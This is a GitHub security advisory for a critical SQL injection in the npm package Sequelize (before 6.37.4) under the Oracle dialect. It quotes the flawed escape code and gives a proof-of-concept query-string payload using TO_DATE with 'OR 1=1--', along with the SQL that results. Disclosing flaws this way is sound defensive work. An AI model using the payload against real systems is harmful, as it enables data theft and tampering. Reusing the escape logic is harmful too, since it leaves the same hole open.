GitHub Advisoryadvisory · npm

GHSA-v8fg-2rw7-q452 Sequelize: SQL Injection (Oracle DB)

CRITICAL Published 2026-08-03 Modified 2026-08-03 Official page ↗
Aliases
CVE-2026-69240
Ecosystem
npm
Packages
sequelize
Severity
Critical
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weaknesses
CWE-89
Reviewed
2026-08-03

Affected packages

• npm sequelize: < 6.37.4 → fixed in 6.37.4

Description

Summary SQL Injection is possible with strings only if dialect is set to `oracle`. The vulnerability was confirmed on Sequelize v6.37.3. Details The `escape` function defined in `sql-string.js` does not escape quotes if the value starts with `TO_TIMESTAMP` or `TO_DATE`. ```javascript } else if (dialect === 'oracle' && typeof val === 'string') { if (val.startsWith('TO_TIMESTAMP') || val.startsWith('TO_DATE')) { return val; } val = val.replace(/'/g, "''"); } ``` PoC Suppose the application has the following code: ```javascript var result = await models.Student.findOne({ where: { firstName: req.query.firstName } }); ``` An attacker can inject arbitrary sql expressions. `http://host/path?firstName=TO_DATE('0','Y')||'' OR 1=1--` The resulted SQL will be: ```SQL SELECT ... WHERE "Student"."firstName" = TO_DATE('0','Y')||'' OR 1=1-- ORDER BY "Student"."id" OFFSET 0 ROWS FETCH NEXT 1 ROWS ONLY; ``` Impact Data theft and tampering.

Related

Alias · CVE (1)

Weakness · CWE (1)

  • CWE-89 Improper Neutralization of Special Elements used in an SQL Command weakness

References